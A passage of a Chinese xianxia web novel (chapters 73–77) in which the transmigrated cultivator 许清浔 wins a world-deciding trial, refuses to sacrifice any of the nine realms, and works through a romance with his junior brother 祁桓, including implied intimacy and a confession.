激战爆发的那瞬间,几乎所有人都拿出了压箱底的手段,原本安宁的光幕之下,霎时间混乱无度,几十种高阶神通同时爆发,形成了一种极其复杂的力场。 战斗才开始,便有人横空喋血,如沙包般砸落。 三刻钟后,光幕之下终于恢复了安宁。 青衣修士立于长空,似乎受了一些轻伤,但眼神反而更亮了。 在他之下,几十个修士砸在深坑之中,死的死,伤的伤,还有被打怕到不敢再战的。 连续旁观了两场大战,原始太虚经都忍不住出来说话,感慨道:“你小子未免太猛了吧,这么多人都打不下你?” 许清浔闻言不满,“怎么,你反而希望我被打败?” 老经一愣,“那不是,你再如何也是我的主人,我的每一代主人都是时代第一的强者!” 许清浔挑了挑眉,“哦,是吗,那我比你其他主人如何?” 老经似乎犯了难,“你不对劲,他们太多敬仰我,只有你敢对我大呼小叫。” 许清浔一脸平淡,“没有吧,我向来尊师重道。” “嘿嘿,不过你稳稳压制那个魔经之主倒是让我另眼相看。”老经忽然坏笑了一声,“我第一次见它那么气急败坏。” 许清浔一惊,“它气急败坏了吗?” 老经点点头,“对,天天在你师弟耳边大呼小叫,可惜人家就是不搭理它。” 许清浔有点难以置信。他看不见魔经,自然不知道魔经如何看他,没想到魔经对他竟是这个反应。 老经回忆道:“话说回来,这是第一次,它的宿主完全不搭理它。至于原因……哈哈,真没想到那小子竟然是个情种。” 许清浔闻言面色微红,虽然姑且成了恋人,但在祁桓的事情上……他仍旧有些不知所措。 不过,此时并不是闲聊这些事的时候。 “罢了,我知道你是想我放松心情,才出来说这些。”许清浔转头,目光看向了光幕中心的莲心。 那莲心周围尽是符文,如水晶般晶莹剔透,大小跟普通的莲花差不多,正静静地悬浮在虚空,等待着它最终的赢家。 老经道:“所以,你要怎么办?” 许清浔微垂眸,低声道:“我早就想好了。” 话音未落,他挥手间,无数的法符悬浮在后,形成了一面仿佛能够切割天地的光墙。 光幕之下寂静无声,被打下深坑的几个人不禁抬起了头。 接下来,他们看到了有生以来最为壮丽的一幕。 天空被光淹没,不留一丝缝隙,周围地动山摇,震耳欲聋的雷声几乎要撕裂他们的耳膜。 接连打了两场大战之后,万法居然还保留有如此数量的法符。 感觉,至少还能轰炸他们两轮…… 鹰眼男人望着上空,突然躺平了,“算了,第一本来就是他的。” 足足轰炸了半个时辰,光幕才终于破碎,暴露出里面的莲心。 绕是许清浔再强大,此时也不免感到了疲惫。 举世皆敌果然只是小说里听着帅,实际经历之后,才知道真的累死累活,不想再体验了。 许清浔心中唯有抱怨,但转眼便出现在了“莲心”之前。 众人都想夺第一,所为的,不只是名声,更是利益。 “莲心”,也叫九界之心,乃九界精髓凝聚而成的近仙之物,将其服用,可无障碍结婴,连雷劫都不用渡,而且结出的元婴还品阶一流,没有任何副作用,还有概率觉醒第二本命神通,好处多到数不清。 但此时此刻,它却更像一个烫手的山芋。 许清浔缓缓上前,凝视着“莲心”一会,最终伸出了手。 原著中描述过的事情随即发生在了他身上,一道没有任何情绪的、苍老的声音在他的识海中响起。 “九界将崩,吾辈欲断尾求生,延长存续时间,你来决定断哪条尾吧。” 说到后面,那道声音竟好像透着几分疲惫。 许清浔微微点头,随后,他直接答道:“我不选。” 苍老的声音沉默了。 不选,实际也是一种选择,而且是背负因果最大的选择。 不断尾,意味着不行动。 不行动,意味着——等死。 世界正在缓慢地破灭,不采取任何手段,结果就是一起灭。 若说舍弃其中一界,剩下八界的存续时间还有千万年,那么一个都不舍弃,所有的界域都只剩下——最多百万年,甚至更短。 因此,绝对是最“糟糕”的选择。 但是,只要在百万年间证道成仙,成功给名为“九界”的莲灯续上灯油,那么破灭就能中止。 许清浔做这个决定,是因为他认为,只要自己成功证道,那事情不就解决了? 可是,这件事说着轻松,又有多少人敢背负这么大的因果修炼。 绕是他天生自信也不敢。 当然,敢不敢,此刻的他也已经做出了选择。 要他牺牲某一界来换取更长远的未来,他做不到。 他宁愿负重前行,哪怕被亿万人唾骂,也要选一个更加光明的未来。 而且,他相信他,或者祁桓,都能在百万年间证道成仙,彻底斩除风险。 苍老声音似乎感知到了他的觉悟,问道:“真要如此吗。” 许清浔点了点头,“到此之前,我就想好了。” 苍老声音沉默了一阵,最终道:“那便……如你所愿。” 话音刚落,以此为圆心,一阵强大的伟力撼动了四面八方,莲花洞天内的所有造境都消失了,云彩、大地……所有的实都变成了虚。 看着这一切,许清浔深吸了一口气,身形微微颤抖,眼神十分复杂。 洞天内的所有人都仿佛置身虚空,但诡异地不会下坠。 “万法已经成功了吗?” “他葬灭了哪一界,不会是我的吧!” 众人想法各异,但终究无法证实,紧接着就被一股引力捕捉住,不知甩向了哪里。 九界大炼一旦结束,里面的活人将会随机抛到自己来的地方,即使想留下也没办法。 但有个人却抗拒了引力,径直飞往光线最强烈的地方。 “师兄!”他大声地喊对方,心头不由自主地涌上了强烈的紧张感,他不想跟对方分开,哪怕分散之后很快就能找到彼此。 许清浔闻声一愣,下意识地往声音的方向看去。 第74章 第七十四章 溢出的欲。 外界, 原本正常的天空突然破裂,从裂缝中爆射出几缕炽烈的光。 九界各地,无数人仰头望天。 一些大能面露忧色,仿佛察觉到了什么, 又犹豫不定, 最终袖手旁观。 玄界, 王家府邸。王守渊沉默不语,似有所料,不知在呢喃什么,最后点了点头。 许家府邸, 一对夫妻互看一眼。 “如此……负担会不会太重了。” “但只要成功, 就是功在千秋万代。” “……也是。” “不过, 他会回家吗。” 说到这, 他们面色各异,似乎有些拿捏不定。 这一代九界大炼接近七年,他们孩子的岁数已经超过二十五,根据当年的大道契约, 应当回归家族。 男人摇了摇头,“大道契约未必能够约束他。” 女人点了点头,“是,早在他出生的时候,我们便知道,他是带着使命降世的。” 那孩子虽在血缘上是他们的孩子, 但实际上,应当是——应劫而生的大道之子。 他们既幸运,又不幸地拥有了这样的孩子,一度不知如何养育, 只一味的宠溺,对方想要什么,他们便给予什么。 态度与其说是对待自家孩子,不如说是对待无上贵重的宝物,诚惶诚恐,无微不至。 一直到后来,他们才发现,自家孩子并非“宝物”,而是——有血有肉的真实人类,但已经来不及了,虚情假意的养育并不能培育出真正的亲情,回过神时,对方已经想要离家出走,说要找一个天大的机缘。 那孩子从小神秘,知晓许多常人不能知道的秘密。他们也只好答应下来,万一那是天道的意志呢? “包括今日他的决定,也是天道意志吧。”男人低声道。 “应该是,但也有可能不是,不管怎样,我们都不应该阻拦他。”女人肃然道。 这不仅是他们的想法,也是许多大能的想法。 “九界”很脆弱,据说源自一个无上大能梦出的三千世界,原本世界的数量近乎无尽,后来那个无上大能不知是虚弱了还是怎么了,中止了对三千世界的维持与供养,自那之后,三千世界便开始凋零,到了今日,便只剩下了九界。 凋零是板上钉钉的必然之事,唯一一个办法能够阻止。那就是——创造出一个实力比肩“无上大能”的强者,也就是证道成仙者。 于是,“莲心洞天”应运而生,或者更准确地说,它是由九位大能合力创造出的试炼世界。 鼓励天才们勇夺第一,不过是为了互相磨砺,直至磨出最锋利的存在。 “如今,算是成功了吗。” “不知。不过……有些想孩子了。” 聊着聊着,两人沉默下来,神色有些沉重- 几个月后,玄界某一深山法府中,灵气升腾,虹霞如浪,空气中若有若无地浮现符文。 浅潭水光悠悠,倒映着天上的月光。 潭边,则是一片大石床。 “师弟,你又败了,这次玩什么惩罚游戏好呢?” 青衣修士笑呵呵,目光打量着正坐着疗伤的黑衣修士,浅色的双眸泛着淡淡的辉光。 黑衣修士背对着青衣修士,道袍半脱,露出了宽厚结实的背肌。他对于“惩罚游戏”这种话题似乎已经见怪不怪,所以收好衣襟后,平淡地开口:“师兄这次又想做什么。” 许清浔一呆,“你这话说的,师兄又不是无理取闹。” 祁桓闻言转眸,沉默地盯着许清浔。 他黑发披散,罕见地没有束发,比平日多了几分威严感。 许清浔感到了一股莫名的压力,只好老实地坐了下来,摊手道:“好啦,不折腾你了,老实跟师兄说,是不是神通三次觉醒了?” 祁桓点了点头,“是。” 许清浔惊喜,连忙凑近问:“感觉如何?” 祁桓沉默了一下才道:“范围扩大了,如今一里之内,刹那之间,我想杀就杀,只要修为不超过我一个境界。” 许清浔更加惊讶,要知道,同样的岁数,原著的祁桓尚且做不到这些! 这说明了什么?说明哥们的培育法是对的啊,谁说黑化强十分洗白弱三分,我家对象洗白了反而更强了! 他感到莫大的自豪,喜形于色,唇线高高上扬。 将许清浔的表情变化看在眼里,祁桓神色淡淡,表面看不出喜怒,他似乎想说什么,但又临时住口,目光微深,透着几分复杂。 许清浔回过神,发现对方的表情略显凝重,不禁问道:“怎么了吗?” 祁桓盯着他,似乎终于想通了,认真道:“师兄,你近日……是否太勉强自己了。” 许清浔一顿,仿佛被戳破了什么,面色微变,却下意识地否定道:“勉强?哪有的事,师兄向来只为自己开心。” 祁桓蹙眉,突然缩近距离,双眸与许清浔极近相对,“师兄,你或许能瞒得过别人,但瞒不了我。” 许清浔心头一跳,下意识地后缩,眼神控制不住地躲闪,迟疑了片刻,才抬头道:“好吧,你越来越会察言观色了,这是一个很大的进步!” 祁桓蹙眉更深,语气低沉道:“师兄,你知道我想说什么。” 许清浔目光微暗,他当然知道,九界大炼结束后,九界出乎意料地平静,他如此拿捏其他八界的天才,他们也没有派人来怎么他,这算是一个好事。不过,“那个选择”还是给了他很大的负担,尽管他表面装作没事,但……压力就是压力,比他预想的更加沉重、更加透不过气。 他沉默了,其实心里想说什么,但面对祁桓,又不知如何开口,尽管现在还没有什么事,但他仍旧管束不住自己的心思。 都说心猿意马,心如猿猴,意如烈马,有时候越是想要不在意,就越是在意。 祁桓注视着他,仿佛在等待什么,一直不开口。 法府内一片寂静,只有时不时的水滴声。 许清浔低头不语,忽地深吸了一口气,微抬头道:“好好,师兄是在烦恼,那么重的压力,搁谁身上不慌?万一做不到怎么办?我有什么资格决定那么多人的生死……” 说到后面,他的声音已经开始颤抖,又低下了头。 不想说这些丧气话,尤其是面对着祁桓。 但,话音未落,对方忽然伸出手,温柔地捧起了他的脸。 “是吗。” 出奇温柔的声音,好听得不行,迷人心窍。 许清浔微微一颤,呆呆地看着面前之人。 “终于愿意跟我说了吗。” 祁桓语气很淡,但透着欣喜,他平时或许看上去阴晴不定,但真正有情绪时,其实很明显。 “你、什么啊。” 许清浔心跳微乱,有点不知所措,似乎不擅长对付这样的祁桓。 “没什么,只是,对我而言,这是一件好事。” 祁桓唇线上扬,深黑的双眸好似泛起了柔光,有种莫名的反差感。 许清浔有点失神,又不满道:“什么啊,师兄心情郁郁,你反而高兴了是吧。” “不是。”祁桓摇摇头,没有解释,因为他知道,对方其实知道他的意思。 许清浔抿唇,心想我当然知道啊,你在高兴我终于向你倾述了是吧。可恶啊,我作为大哥的面子…… 好在这时,祁桓突然开口:“人都有软弱的时候,只是平时藏了起来,而‘侣’的意义,正是在软弱时,可以依靠、安慰。至少,对我而言是这样。” 许清浔闻言心动,睁大了眼睛,好像很意外祁桓会说出这种话。 这家伙看似冷漠无情,人间淡泊,但心思真的很细,有时候真的特别暖…… “这也说明,师兄更信赖我了,不是吗。”祁桓还在一本正经地分析。 许清浔听着,虽心中十分触动,但表面却嘴硬地说:“可是师兄的面子咋办?” 祁桓笑了,微微侧首,道:“师兄还是如此重面子。” 许清浔目光幽幽。 那当然,本人从来都是里子要,面子也要的。再说了,我是你大哥啊,大哥从来都是为小弟遮风挡雨,如若高山一般的男人啊,哪有要跟小弟诉苦的,这还是大哥吗? 我的目标可是成为一个让龙傲天都不得不仰望的伟岸男人! 祁桓又笑了,好像能够读懂他的心。 许清浔一时语塞,幽幽道:“你小子真是越来越爱顶撞师兄了,明明以前还没有这样。” 祁桓却道:“真的吗,我一开始也没少顶撞你吧。” 许清浔呆住,回忆了片刻,竟无法否认,祁桓一开始确实不听他的话,是后来才渐渐变好的。他就不明白了,这家伙不是喜欢自己吗,干嘛处处忤逆喜欢的对象,真是令人费解。 对方又好像看穿了他的心,淡淡地答道:“自然是因为师兄更喜欢这样。” 许清浔睁大眼睛,下意识地反对道:“胡说八道,我啥时候说喜欢这种?” 祁桓不予解释,一副我自然明白的表情。 许清浔莫名心虚,因为他的确不喜欢舔狗,哦不对,这家伙如果要舔,会真的舔过来,哪里都敢舔,甚至会舔着舔着查进来。 想到这,他老脸顿红,当即转过身,语气飘忽道:“不说这些,重点是我跟你倾述了,然后呢,你能解决吗?不能吧——” 他还想说那就算了,但下一瞬心头猛跳,身体不由得僵硬了。 对方突然从后面抱住了他,宽厚结实的胸肌贴着他的后背,埋头在他肩窝,几缕发丝垂落,带来莫名撩人的感觉。 气温好似顿时飙升了。许清浔面色发红,眼神控制不住地动摇。 对方的双手在他腹前缓缓收紧,右手甚至抚摸了上来,有意无意地探入他的道袍之内,五指如游鱼般轻盈而灵动。 举动之间,尽是压制不住、乃至溢出的欲。 他浑身一颤,下意识地屏住了呼吸。 而身后的男人边吻着他的耳廓,边蛊惑地道:“我能解决,可以吗?” 第75章 第七十五章 “师兄,我哪里做得不好吗…… 事不过三, 本该如此,但许清浔不知是鬼迷心窍还是什么,居然又一次允许了,而且这次没有中途离开, 并非他意志松弛了, 而是……对方的技术精进到了他产生不了逃离的想法, 一个失神的功夫,便见日出吐白,居然整整过了一夜。 他久久愣神,望着渐白的天空, 听着潺潺的水声, 眨了眨眼, 如梦初醒, 心情一阵复杂,既有“既然如此,那就随他吧”的摆烂心思,还有身为直男的本能反抗意识。 明明亲口说了, 可以先从恋人做起,但自己却仍旧犹豫不定。 他不是这个世界的人,虽不知天道到底有何打算,但他终究还是要回家的,到时候,是将男朋友甩开自己回家, 还是…… 许清浔有点迷茫,毕竟他比任何人都要清楚祁桓的执着,对方已经彻头彻尾地all in了,而他这么多年过去, 仍旧是半吊子的心情。 因为,他似乎还没有想好跟对方一辈子相伴,像道侣一般,永不分离。 他陷入迷茫,脸色略显苍白,随后坐起身来,披上一件崭新的道袍,而正待他将要起身时,手臂突然被身边人抓住。 略显沙哑的男声响起,“师兄……” 许清浔浑身一震,不禁转过头,垂眸着注视那个还未醒来的男人。 虽然被.草的是他,但对方好像更加操劳,所以早晨沉沉地睡了过去。哦,不对,差点忘了,昨日他们刚刚切磋了一番,对方身上有伤,本就该静养才是,却…… 他微微蹙眉,抬起手,似乎要掰开对方的手,但又停了下来,悬在空中,犹豫不决。 又或是,实在拿这个男人没办法。 许清浔低眸不语,缓缓地转过身来,一边注视着人,一边回望自己的心。 当初说是考察,但“考察”过程中,这个男人做过任何一件错事吗,答案是没有,他明里暗里出过很多“考题”,而对方无一例外答对了,甚至多次取得了高分乃至满分。 按理说,对方的“考察”早就该通过了才是。但有时候,他宁愿这个男人答错了,然后他就可以理直气壮地甩了对方,归咎于对方。 可是……你为何要这般努力?你不该为了复仇之外的事如此努力吧。 许清浔抿了抿唇,眼神复杂。 他也不应是这般拧巴的人,至少在此之前他就从不拧巴,遇到任何事情都能很快决断,遇到任何麻烦都能快刀斩乱麻,他还非常不理解那些拧巴的人,觉得他们不过是矫情而已,但现在如何呢。 好吧,自己只是没有碰到那样的事而已。如今碰到了,也算是一种回旋镖吧。 许清浔眉头紧皱,边回忆边思考,思绪乱飞,甚至还飘到了昨夜,心中纳闷道,这小子的进步怎么能这么快,不会天天都在意.淫我吧? 他倒也没有那么自恋,只是觉得昨夜那个男人简直猛到不行,若不是平日压抑坏了,很难达到那种程度吧? 嗯……其实也说不准,从男同的角度上看,这小子是他第一个男人,他怎么知道其他男人是怎么样的? 啊不对,我这是在怀疑一个龙傲天的性能力吗? 许清浔连忙摇头,谴责自己怎么越想越黄。就在这时,对方忽然有了动静,细长而浓密的睫羽微微颤抖,随后缓缓睁开,露出一双深黑色的眸子,锋锐而深沉。 这一瞬间,许清浔的心跳疯狂漏拍,同时控制不住地心虚,因为自己刚刚居然想过甩掉对方。 但那男人似乎完全不知他的心情,见他已经醒来,轻揉眉宇,温和地开口:“师兄,没事吧。” “没、没事。”许清浔心情略慌。 “没事就好。”祁桓轻笑一声,带着罕见的惬意与满足,眸光罕见的明亮,“这是第一次,师兄没有中途逃走。” 许清浔一愣,“是吗。” 对方为此高兴,而自己却为此犯愁。 他一想,不禁更感愧疚。 “师兄,怎么了吗?” 祁桓已然起身,似乎终于注意到了许清浔不太对劲的神色,伸手抚摸着许清浔的侧脸,神色显得凝重。 许清浔暗暗地吸了口气,摇摇头,随即恢复成了往日的模样,表情灿烂如日,大笑道:“师兄都比你醒得早了,能怎么样吗?” 祁桓盯着他,语气微沉道:“是吗。” “当然啊。”许清浔反而主动凑近,抬手轻捏对方的下颌,举动轻佻而暧昧,勾唇道:“师兄其实在回味你昨日的表现。” 祁桓一愣,眼里似乎掠过了一抹紧张,当即问道:“那……如何?” 许清浔装作认真地思考了一下,随后点评道:“一般般,还有提升空间!” 祁桓微微蹙眉,显然不喜欢这个点评,低头幽幽地说:“好,我知道了。” 许清浔看他好像失落了,顿时改口,笑道:“开玩笑的啦。” 而祁桓已经起身穿上了道袍,“师兄一早便忍不住开师弟玩笑了吗。” 许清浔下意识地抬头。 阳光照耀下来,令一切光影分明,衬得男人身形完美,眉眼如画,如若神明下凡。 他心神恍惚,下意识地想,对方昨日肯定利用了这副容貌,否则怎会迷得他神魂颠倒,乖乖躺平艾草。 这男人不会在不知不觉间算计了他吧。许清浔一阵发呆,又不觉得祁桓会那么诡计多端。 此时,祁桓已经穿好衣服,背上了剑匣。他转头道:“师兄,终日修炼,难免闭塞,随我出去走走吗,附近有一个比较大的修士城市。” 许清浔回过神。的确,自从出了九界大炼后,他们就在这里修炼了,他想过遵从契约回许家,但后来发现契约好像无效,于是就留在这里,与祁桓一同炼化莲心。三个月前,莲心已经炼化完了,他们的修为各有长进,如今不能说在玄界举世无敌,但至少可以开宗立派了。 要知道,三玄宗的宗主也才是元婴修为。虽然这么说好像元婴修士是大白菜,但按原著的说法,整个《醒红尘》好像也才三百多位元婴修士吧? 许清浔揣摩了一下,起身对祁桓说:“好,出去透透气也成,正好看看这人间的精彩。” 祁桓轻应一声,目光低垂,看着许清浔略微分开的衣襟,“在此之前,让我给师兄梳理一番吧。” 许清浔微惊,随后应了下来。他也真是渣,心意不定,却安然享受着对方的好,或许他该坦诚了,至少该说出他的迷茫…… 半个时辰后,他们离开法府,很快到了附近的修士城市。它不是“比较大”,是“特别大”才对,放眼望去,大片空中楼阁,整片地域都被填满了,有一种难以概论的极繁之美。 许清浔停下脚步,有些发呆。 “走吧,师兄。” 身边人轻声唤他,他下意识地点了点头,让身边人牵起了他的手。 其实祁桓真的没什么不好,变态是原著的事,跟现在的他无关,一直以来,真的没有哪里不好。许清浔想着,时不时偷瞄祁桓。 虽是大正午,但今日天气甚好,阳光不怎么晒,街上人来人往,有的穿着他们非常熟悉的道袍,聊着他们亲身经历的事情。 九界大炼七年间的事基本上已经传遍玄界了,这些大城市消息灵通,自然不可能不知道。 他们很震惊一向贫弱的玄界居然赢到了最后,而且最终的赢家是许家那位离经背道大少爷。那位虽然不可思议的强大,但不足以碾压其他八界的天骄夺得第一吧?但是根据传闻,许家大少爷不仅赢了,而且还是压倒性的赢,九界大炼里面的各界天骄,没有一个能够与他比肩,除了同出玄界的屠夫。 而说到屠夫,众人更是不可思议。因为这个人简直就是横空出世,在此之前谁曾听说他的名字?而且,他的本命神通还是空前强大的杀戮神通,有史以来第一次出现,据说他要杀的人没有一个能逃,简直是一尊杀神。 传闻越传越夸张,听得当事人都微有不适。 但说到某个话题时,许清浔的神经又绷紧了。 “可最后关头,许家大少爷做的决定……” 说话人欲言又止,皱紧了眉头。 “他明明可以随意葬灭一界,却放弃了,如此一来,若是未来没有一人证道成仙,那岂不是九界都要完蛋了?” “是啊,我听一些大人物说,这次放弃机会就是永远。” 许清浔低头,有些失神,然而祁桓突然握紧了他的手,加快脚步,传音道:“师兄,别听那些话。” 他一愣,被对方拉着走远了,这边人群拥挤,人声喧嚣,很快压住了后面的讨论声。 “……” 许清浔回过神,转眸看着身旁的男人,欲言又止,微微抿唇。 真是……你这家伙到底为什么处处如此周到。 我是那么值得你爱的人吗? 要知道,我一开始遇见你的时候可是存了不少坏心思,耍得你团团转时,甚至有种泄愤的爽感,毕竟我以前也是真的讨厌你。但你好像对此一无所知。 也是,关于我的事,你不知道的太多了。你自己也很清楚,但却愿意静守雷池,一步也不越。 许清浔收回双眸,视线扫过贩卖烟花的摊子,恍然间鼓起了勇气,试探地问。 “师弟,若是有朝一日,师兄离开了你,你会如何。” 空气好似瞬间抽空了。 “师兄,我哪里做得不好吗。” 眼前的男人露出了好似脆弱易碎的表情,深黑的双眸隐隐覆上了几分水光。 许清浔呼吸一滞,又不禁疯狂动摇。 第76章 第七十六章 你是第一个,也是唯一一个…… “没, 你没什么错,是我……是师兄随口一说,不要在意,哈哈。” 许清浔连忙补救, 干笑了一声。 “……是吗。” 祁桓幽幽地盯着许清浔, 似乎还有些不安。 “当然是啊, 师兄怎么可能会离开你呢?咱们这些年来,不都在一起吗?算一算,好像差不多十年了吧?” 许清浔慌忙说道。 而祁桓直言:“早就超过十年了,师兄, 你还是一如既往的不记事。” “哈哈, 那不是因为有你吗?” 许清浔已经是发自内心地笑, 赶忙牵着祁桓的手, 离开了人来人往的街道。 其实出来走走确实挺好的,他们听到了不少熟人的消息,还有各大万年世家、千年世家的消息,九界大炼的七年说快不快, 说慢不慢,但对如今的他们来说,仍旧恍若昨日。一开始的时候,玄界修士颇为艰难,哪怕出身万年世家,但万年世家之间亦有高低, 玄家出身,就是会被鄙夷。 没办法,落后就会挨打,玄界对比其他界, 无论是道法水平,还是修仙百艺的水平,都不如其他八界,所以八界天骄才会联手起来对付玄界。 毕竟,无论怎么看,玄界都是最该被葬灭的一界。 而九界之心只会管世界的存续,不管生灵的存续,它不会在意生灵的活路,因为只要世界存续,生灵就会继续繁衍下去。 否则,提前把玄界生灵带去其他界,也未尝不是一种做法。 不……这样想就太乐观了。许清浔摇了摇头,失去国土的国民会是什么下场,自不必言说,玄界虽然也弱肉强食,但比起另外八界,那简直是个小白花。 想着,他瞄了一眼祁桓。回顾原著,这男人也是九界大炼之后才彻底疯魔的,对比起来,如今如何呢。 只见,黑衣修士目光似乎落在了远方的酒楼,那里甚是热闹,一群修士白日发酒疯,吵吵闹闹,几乎要大打出手,当中不少身穿华服之人,甚至有他许家的人在看戏。 而今他们已经不再年轻,看着一群年轻人活力四射,心情不免有些波动。 许清浔笑了笑,“想起以前的事了吗。” 祁桓转眸,随即点了点头,“是,当初我与师兄,是不是也曾这样打闹过。” 许清浔哈哈一笑,“当时你很变扭,还记得吗,我带你打秘境,你还刻意跟我保持距离,我寻思着,师兄又不会吃了你,你小心翼翼的样子是认真的嘛。” 祁桓神色微暗,似乎想辩驳什么,然后眉头微蹙,只好道:“当时,我以为你……” 许清浔更忍不住大笑,转头道:“以为我喜欢你,对吗。” 祁桓低下了头。 “哈哈,当年的你不懂事,可以理解。不过就因为我送你夫妻佩就误会……哈哈,这真的有点不可思议?” 许清浔挑了挑眉。 祁桓顿时来了精神,反问:“师兄难道还送过别人?” 他眼神顿暗,语气冷得简直要冻死人了。 许清浔眨了眨眼,故意吊了对方一下,看见对方脸色发黑,才乐呵呵地说:“没有,你是第一个,也是唯一一个。” 祁桓这才阴转晴,柔声道:“嗯,唯一一个。” 许清浔睁大眼睛,意外发现这家伙也有孩子气的地方,哦不,是一直都有吧,别看他今天好像个酷哥,家里还没出事的时候,其实是个很活泼开朗的孩子。 想到这,许清浔神色一沉,听着周围的喧闹,心思放远,又收回,沉声问道:“师弟,你如今已经有了复仇的实力,不着急去吗。” 祁桓微微一愣,“师兄……愿意陪我去吗。” 许清浔闻言神色顿变,原来祁桓没有立刻去,是因为在意他的想法。但,他又岂会不同意? 许清浔微抬头,目光明亮,“当然愿意啊,要现在去吗?天涯海角,师兄都陪你!” 祁桓定定地望着许清浔,不知在想什么,忽然一笑,点点头道:“不着急,先走走吧。” 许清浔一呆,转头望向长长的街道,余光看着热闹的行人,莫名地有种恍如隔世的感觉。也是哦,修炼久了,差点忘了,自己是活生生的人,也是要有一些烟火味的。 紧张久了,放松一下,总归不是什么坏事。人活着,偶尔要追求一些诗意。想着,他便彻底放松了,牵着身边的男人到处乱逛,先去买符纸,再去买灵植,花钱如流水,根本不眨眼。 他们在九界大炼打劫……咳咳,是收到了不少朋友们的供养,如今富到流油,看到什么想买就买,当然,玄界的东西比九界大炼自然是逊色多了,也就买着玩玩,或许会偶然找到一些好东西? 然后,他们逛着逛着,天就暗了,街道上的行人反而增多了,而且大多都穿着有模有样的衣裳,听到身边人说,才知道今日是这座城的姻缘节,晚上有大节目来着。 许清浔都忘了这回事,停在河边,环顾四周,笑道:“大伙都出来寻侣了呢。” 祁桓微微点头,一本正经道:“寻侣,是极难的事。” 许清浔又是一阵意外,转头道:“对你来说也难吗?你不是十几岁就遇上我了吗?而且还是我自己送上门的,都不用你寻了,你小子真走运。” 祁桓摇了摇头,认真道:“寻,不只要寻到对方的人,更要寻到对方的心。” 什、什么?! 许清浔震惊,这家伙不知不觉间不会整理出了一套恋爱心得吧,这些年来脑子空空的难道只有自己? “你……真是有想法。”许清浔努力思考,但仍说不出啥像样的话,作为年上者,他好像在情感方面太差劲了,不能成为那个引导对方的人,反而……属实惭愧。 “没什么,继续走吧,师兄。”祁桓语气淡淡,但似乎心情挺好,不知是不是被周围人感染到了,眉宇缓缓舒展,唇线微微上扬,勾勒出了十分好看的弧度。 许清浔仿佛又被打中了好球区,老脸刷地泛红,不知是不是想起了昨夜的事,突然压低了脸。 他的心情好似永远那么明显,乃性情以及环境共同塑造出的明朗坦然。 祁桓没有再说什么,轻轻地牵着许清浔的手。 行人们偶尔会忍不住看他们一眼,震惊于他们的气质。 许久之后,许清浔终于调理好了心情,而刚抬头一看,只见一道流光射向天空,随即盛开成了一株紫蓝的花,对岸之人哄叫,年轻的少男少女们嬉笑。 原来,逛着逛着,天色已经暗了啊。 许清浔心头一动,忽然想到今日不会是他跟祁桓的第一次约会吧?好像是的,九界大炼情况特殊,他们大多数时候要么在修炼要么在打架切磋,哪有时间出来看烟花。 祁桓,会喜欢这种场面吗? 许清浔不禁转头,好奇地望着身旁静立不语的男人。 烟花还在升起,五颜六色的光相续打在男人脸上,衬得他十分的少年气。 好像,原著中的祁桓也很喜欢烟花,在他六岁的时候,他的父母曾经带着他的姐姐与他一起游历,晚上一家人赏月观花。 曾是……那么美好的家庭。 想到这里,许清浔皱了皱眉,眼里隐隐闪过一抹愧疚。若是他当年早点想起穿越的事,是不是就能阻止了。 这时,祁桓忽然转头,柔声道:“师兄,我们往那儿走吧。” 许清浔看了过去。那边是一个江边的小酒肆,可坐看夜里的河流,还有天上的烟花。 “好,去吧。”他又想尝些酒了。 片刻后,两人临江而坐,一人浅浅地喝了一杯,另一人望着江景,神色若有所思。 其实今日也算愉快。许清浔望着对方优越的侧颜,好似百看不厌,心想,其实祁桓做道侣真的没什么不好,既然自己迟早回家,那便带男朋友回家嘛,他爸妈应该不会说什么,就是弟弟们可能会大跌眼镜,毕竟他这也算公开出柜了…… 许清浔仿佛能想象到那个情况,突然面色涨红,险些呛住了。 而就在这时,祁桓忽然转回头,目光沉重地望着他,好似非常艰难地开口:“师兄,我有时很迷茫。” “怎么了?”许清浔下意识问。 祁桓盯着他,深黑的双眸好似蕴着暗光,“我时常觉得,我不能失去师兄,但师兄好像随时能失去我。” 许清浔瞳孔微缩,立马打哈哈道:“没有没有,我没有你不行的。” 祁桓突然语出惊人,“因为你的使命是监视我吗。” 许清浔的心跳顿时漏了三拍,堂堂元婴修士却瞬间如坠冰窖,面色亦开始变得不自然,却只能强作镇定地回答:“监视?还有这种说法吗,有意思,师兄不否认。” “事实如此。对吗。”祁桓的声音冷了。 许清浔一愣,思绪顿时乱作一团,不知如何作答。 天上的烟花越炸越绚烂,而他们却一片死寂。 许清浔方才想要带男朋友回家的心渐渐地不再雀跃,他有些担心,若是祁桓知道一切真相,还会继续爱他吗。 等等,什么啊,怕对方太爱自己,又怕对方不爱自己,简直要拧巴死了。 许清浔心里七上八下,怕是从未如此纠结过。 祁桓低下双眸,不知是失落,还是安静的愤怒。 前者是最令许清浔捉急了,他一下子就慌了,立刻想要说些什么,突然一拍桌子,激动地抬起脸:“师弟,我……以前是以前,如今是如今,我至少此时此刻,是爱你的!” 祁桓愣了神。 第77章 第七十七章 这世上只有累坏的牛没有耕…… “师兄, 你……” 祁桓似乎很惊讶,深黑的双眸焕发着异彩。 许清浔面色涨红,脑子一抽,彻底摊牌了, “你胡想些什么呢, 我刚刚都打算带你回老家见爹妈了, 你还这样质疑我,啊是是,我是为了监视你才把你带在身边的,但我没有对你做什么吧?你才应该反省反省自己, 为何我非要监视你不可?那不是你的问题吗?” 说到后面, 他竟将责任归于了祁桓, 虽然语气里透着显然的心虚, 视线也越来越低,目光略微闪烁,气势都弱了下来。 “总之,我、我对你一片真心!”但后面, 他又提升了一下气势,虽然已经完全来不及了。 祁桓听到后面不禁浅浅一笑,“这算是……师兄对我的告白吗。” 许清浔一呆,当即侧过脸,想嘴硬说才不是,但又怕真的伤到那个男人, 只好低声道:“你说是就是吧。” 祁桓嘴角的弧度更深,“不过,到底为何要监视我?” 许清浔停顿了一下,面色略显为难, 浅饮了一口酒,才缓缓道:“原因很复杂,还记得师兄说过吗,师兄有神奇的卜算之术。” 祁桓微微侧首,“所以,师兄算了我的未来?” 许清浔点头又摇头,“类似吧,总之你未来会是一个毁天灭地的大坏蛋,我知道了这件事,但又不能杀了你,那能怎么办?只好把你带在身边好好培养了,我做得还不错吧?” 祁桓又是一笑,很淡,但在烟火的衬托下,莫名有种勾魂摄魄的韵味。 许清浔心头突跳,又不禁饮了一口酒,仿佛在掩饰什么。 “如此一说,我倒是明白了。”祁桓点了点头。 “你明白就好,师兄可没有存心搞你,纯粹是为民除……咳咳,为了守护九界安宁,不得不以身伺虎!”许清浔一阵激动,多了几分英勇就义的悲壮。 